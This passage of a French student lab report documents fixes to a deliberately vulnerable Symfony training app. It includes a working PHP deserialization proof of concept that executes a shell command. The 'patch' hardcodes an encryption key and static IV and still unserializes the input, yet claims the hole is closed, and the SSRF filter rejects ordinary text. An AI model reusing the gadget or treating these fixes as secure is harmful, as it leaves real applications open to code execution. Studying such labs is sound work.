Ici, si le mot de passe n'est pas conforme, l'utilisateur est renvoyé sur une page lui indiquant que le mot de passe n'est pas assez complexe.
## Vulnérabilité 8 - Absence de contrôle d'intégrité dans l'import d'utilisateurs
> A08 Software and Data Integrity Failures
La page `Users Management` côté **administrateur** permet de gérer les utilisateurs du site. Il est possible d'ajouter, de supprimer et de mettre à jour des utilisateurs.
Mais ce n'est pas tout, une fonctionnalité supplémentaire est disponible. Il est possible d'exporter cette base de données grâce au bouton `export` puis de la réimporter grâce au bouton `import`.
Lors de l'export, une chaîne en **base64** est donnée.

Cette chaîne est créée grâce au code suivant:
`data/www/src/Controller/AdminController.php`
```php=
/**
* @Route("/admin/users/export", name="user_export")
* @return Response
*/
public function user_export(Request $request, ManagerRegistry $doctrine): Response
{
$users = $doctrine->getRepository(User::class)->findAll();
$str = base64_encode(serialize($users));
return $this->render('admin/users_export.html.twig', ['str' => $str]);
}
```
Ici, le serveur **sérialise** l'objet correspondant aux informations de l'utilisateur. Ensuite, ceci est encodé en **base64**. Nous sérialisons des informations pour pouvoir les sauvegarder et les réutiliser plus tard.
Le problème était que la fonction d'import d'utilisateur ne fait pas de test d'intégrité sur la donnée à importer fournie par un administrateur connecté.
Ainsi, nous pouvons simplement créer notre propre code, le sérialiser puis le coder en base64.
```php=
<?php
namespace App\Service;
class Logger {
private $log_me;
function __construct($log_me) {
$this->log_me = $log_me;
}
}
echo base64_encode(serialize(new Logger("echo 'hello from the other side' >/tmp/poc_unserialize")));
```
Dès à présent, si nous l'importons grâce à la fonctionnalité du code, celui-ci est directement exécuté.
Nous pouvons visualiser sur le docker **chall-php**, que le fichier a bien été créé:
```bash=
/var/www/html $ cat /tmp/poc_unserialize
hello from the other side
```
Ainsi, couplée à un "**gadget PHP**", une exécution de code arbitraire a pu être obtenue.
Le code directement impacté est le suivant **(code d'import)** :
`data/www/src/Controller/AdminController.php`
```php=
/**
* @Route("/admin/users/import", name="user_import_post", methods={"POST"})
* @return Response
*/
public function user_import_post(Request $request, ManagerRegistry $doctrine): Response
{
try{
$str = $request->get('str');
$users = unserialize(base64_decode($str));
} catch (Exception $e) {
throw new Symfony\Component\HttpKernel\Exception\HttpException(500, "Import failed :(");
}
[...]
```
La solution mise en place pour combler cette faille est un contrôle d'intégrité. Par exemple un chiffrement avec une clé que seul le serveur connaît qui pourrait compléter la chaîne sérialisée est une bonne méthode. Dans le cas présent, l'export puis l'import pourraient totalement se faire dans un format moins dangereux (XML, CSV, etc..).
Nous allons commencer avec la partie export *(Code ci-dessous)*.
`data/www/src/Controller/AdminController.php`
```php=
/**
* @Route("/admin/users/export", name="user_export")
* @return Response
*/
public function user_export(Request $request, ManagerRegistry $doctrine): Response
{
$users = $doctrine->getRepository(User::class)->findAll();
$str = base64_encode(serialize($users));
// Store the cipher method
$ciphering = "aes-256-cbc-hmac-sha1";
// Use OpenSSl Encryption method
$iv_length = openssl_cipher_iv_length($ciphering);
$options = 0;
// Non-NULL Initialization Vector for encryption
$encryption_iv = '1234567891011121';
// Store the encryption key
$encryption_key = "planktoncorp";
// Use openssl_encrypt() function to encrypt the data
$encryption = openssl_encrypt($str, $ciphering,
$encryption_key, $options, $encryption_iv);
return $this->render('admin/users_export.html.twig', ['str' => $encryption]);
}
```
Tout d'abord, nous allons, comme avant, **sérialiser** l'objet **User**. Une fois fait, nous allons utiliser l'algorithme de chiffrement **aes-256-cbc-hmac-sha1**. Celui-ci utilise la clé de chiffrement `planktoncorp` pour réaliser le chiffrement *(Utilisation d'un iv en plus)*. Pour finir, nous allons passer la chaîne en **Base64** pour la rendre plus courte et plus simple.
Une fois fait, voici la chaîne exportée:

Ensuite, côté **import**, nous avons le code suivant:
`data/www/src/Controller/AdminController.php`
```php=
/**
* @Route("/admin/users/import", name="user_import_post", methods={"POST"})
* @return Response
*/
public function user_import_post(Request $request, ManagerRegistry $doctrine): Response
{
try{
$str = base64_decode($request->get('str'));
$decryption_iv = '1234567891011121';
// Use OpenSSl Encryption method
$ciphering = "aes-256-cbc-hmac-sha1";
$iv_length = openssl_cipher_iv_length($ciphering);
$options = 0;
// Store the decryption key
$decryption_key = "planktoncorp";
// Use openssl_decrypt() function to decrypt the data
$decryption=openssl_decrypt ($str, $ciphering,
$decryption_key, $options, $decryption_iv);
$users = unserialize($decryption);
} catch (Exception $e) {
throw new Symfony\Component\HttpKernel\Exception\HttpException(500, "Import failed :(");
}
[...]
```
Ici, nous décodons le base64 puis nous déchiffrons le code avec la clé de chiffrement `planktoncorp` *(Utilisation d'un iv en plus)*.
La base de données a bien été importée.

**Il est maintenant impossible de reproduire le code d'export. La vulnérabilité est donc patchée.**
## Vunlérabilité 9 Logs contenant des informations sensibles
> A09 Security Logging and Monitoring Failures
Les hashs de mot de passe des utilisateurs sont présents dans les logs du panel administrateur. Cette information n'est pas nécessaire, et peut être utile à un attaquant suite à une compromission de l'application, pouvant par exemple être utilisée dans le cadre d'une réutilisation de mot sur d'autres plateforme.
Nous pouvons voir le mot de passe sur le screen suivant:

Dans cette partie, il suffit de retirer l'affichage du hash des utilisateurs dans les logs du panel administrateur.
`data/www/src/Service/Logger.php`
Voici l'**ancien** code:
```php=
public function log_action_user($type, $user)
{
$is_admin = false;
if (in_array("ROLE_ADMIN",$user->getRoles())){
$is_admin = true;
}
$log = new Log($type, '{id:"'.$user->getId() .'", email:"'.$user->getEmail().'", role:"'.strval($is_admin).'", password:"'. $user->getPassword() .'"}');
$this->em->persist($log);
$this->em->flush();
return $log;
}
```
Voici le **nouveau** code:
```php=
public function log_action_user($type, $user)
{
$is_admin = false;
if (in_array("ROLE_ADMIN",$user->getRoles())){
$is_admin = true;
}
$log = new Log($type, '{id:"'.$user->getId() .'", email:"'.$user->getEmail().'", role:"'.strval($is_admin).'"}');
$this->em->persist($log);
$this->em->flush();
return $log;
}
```
## Vunlérabilité 10 Mauvais contrôle des données de génération de PDF
La vulnérabilité de type *Server Side Request Forgery* présente dans la génération du PDF doit être patchée en filtrant les entrées utilisateurs.
Pour cela, nous avons choisi d'interdir les caractères spéciaux dans chaque entrée utilisateur. Nous avons appliqué ces modifications dans l'ajout et l'édition de créatures par la même occasion.
Voici le code du `data/www/src/Controller/SeaCreaturesController.php` avant:
```php=
/**
* @Route("/seacreature/{id}/pdf", name="detail_seacreature_pdf", methods=
{"GET","HEAD"})
* @return Response
*/
public function detail_creature_pdf($id, TCPDFService $tcpdfService)
{
[...]
return $tcpdfService->make($creature['creature_name'],
$creature['creature_image'], $creature['creature_description'],
$creature['creature_depth']);
}
```
et après:
```php=
/**
* @Route("/seacreature/{id}/pdf", name="detail_seacreature_pdf", methods={"GET","HEAD"})
* @return Response
*/
public function detail_creature_pdf($id, TCPDFService $tcpdfService)
{
$api_creatures = new CallAPI();
$creature = $api_creatures->fetchOneCreature($id);
// Check if specials chars are used
$name_regex = preg_match('@[\W]@', $creature['creature_name']);
$image_regex = preg_match('@[\W]@', $creature['creature_image']);
$description_regex = preg_match('@[\W]@', $creature['creature_description']);
$depth_regex = preg_match('@[\W]@', $creature['creature_depth']);
if($name_regex || $image_regex || $description_regex || $depth_regex) {
return new Response("Les caractères spéciaux ne sont pas autorisés", 401);
}
else {
return $tcpdfService->make($creature['creature_name'], $creature['creature_image'], $creature['creature_description'], $creature['creature_depth']);
}
}
```
## Répondre aux questions suivantes
### Question 1
> Donner des idées pour mettre en place un plan de suivi des mises à jour sur l’application
Un plan de suivi des mises à jour sur une application est essentiel. Pour ce faire, nous pouvons par exemple utiliser GitLab. GitLab est une application web libre qui permet de piloter en ligne ses dépôts de code source et de gérer leurs différentes versions. De nombreuses fonctionnalités permettent d’utiliser cet outil pour gérer ses projets. Cette approche permet aux développeurs d’être plus rigoureux dans leur code. Il apporte également un moyen de mettre en place des reviews réguliers entre membres de l’équipe. Concernant les mises à jour, Gitlab permet d'ajouter une nouvelle version d'un code tout en conservant l'ancienne pour un potentiel retour en arrière. Ajoutés à cela, les développeurs peuvent travailler sur un même projet tout en étant libres de réaliser des modifications sans impacter le code principal. Nous parlons ici de **branches**. Ils peuvent aussi communiquer entre eux, via Gitlab, sur les modifications en cours et sur les potentielles nouvelles mises à jour du code.
Gitlab apporte de nombreuses autres possibilités. L'ensemble de ces fonctionnalités permettent un suivi précis et professionnel des mises à jour d'une application.
### Question 2
> Expliquer pourquoi la SSRF a autant d’impact sur l’API
En production, le client n'est pas autorisé à accéder à l'API. Cette API est un backend que seul le serveur doit pouvoir contacter, sinon n'importe qui pourrait supprimer des créatures. Ainsi la SSRF est dangereuse car c'est le serveur qui exécute la requête, il est légitime aux yeux de l'API de recevoir une requête de sa part.
### Question 3
> Proposer une solution pour utiliser les méthodes POST, PUT, DELETE sur les bons endpoints de l’API flask
Utiliser les bonnes méthodes sur les bons endpoints est essentiel pour une API. En effet, chacun d'eux implémente une sémantique différente. Il en existe moins d'une dizaine. Les méthodes GET et POST sont évidemment les plus connues, mais il en existe d'autre comme PUT et DELETE.
Proposons une solution pour utiliser ces méthodes sur notre API Flask.
#### GET
La méthode GET demande une représentation de la ressource spécifiée. Les requêtes GET doivent uniquement être utilisées afin de récupérer des données.
Dans notre cas, nous pouvons appliquer cette méthode sur la route `/seacreature/<creature_id>` qui va nous permettre d'afficher simplement les informations d'une créature.

#### POST
La méthode POST est utilisée pour envoyer une entité vers la ressource indiquée. Cela entraîne généralement un changement d'état ou des effets de bord sur le serveur.
Dans notre cas, nous pouvons l'appliquer sur la route `/seacreature/add` qui va nous permettre d'ajouter une créature.

#### PUT
La méthode PUT remplace toutes les représentations actuelles de la ressource visée par le contenu de la requête. Elle permet, en d'autres mots, de modifier un contenu.
Dans notre cas, nous pouvons l'appliquer sur la route `/seacreature/<creature_id>/edit` qui va nous permettre de modifier une créature.

#### DELETE
La méthode DELETE supprime la ressource indiquée.
Dans notre cas, nous pouvons l'appliquer sur la route `/seacreature/<creature_id>/delete` qui va nous permettre de supprimer une créature.

### Question 4
> Détaillez la méthode suivie pour appréhender le code de PlanktonCorp (3/4 lignes)
Le code de PlanktonCorp suit la méthode **MVC** signifiant **Modèle - Vue - Contrôleur**. Le pattern MVC permet de bien organiser son code source. Ici, le réel but est de séparer le code en trois parties de façon logique et bien distincts.
Tout d'abord, nous avons la partie **Modèle**. Celle-ci permet de gérer les données du site. Ensuite, il y a la partie **Vue** qui se concentre sur l'affichage. Pour finir, nous avons la partie **Contrôleur** qui gère la logique du code qui prend des décisions.
Voici un schéma récapitulant le fonctionnement:

*Source: https://fr.wikipedia.org/wiki/Mod%C3%A8le-vue-contr%C3%B4leur*
Concernant le ressenti de l'équipe, nous avons plutôt bien compris le code en lui même. Même si nous n'avions pas réellement d'expérience dans ce langage de programmation, nous avons réussi à assimiler les notions. Les noms des fichiers étaient clairs et explicites. De plus, le PDF expliquant chaque vulnérabilité est très bien conçu et nous a énormément aidés pour comprendre le fonctionnement de chacune d'entre elles.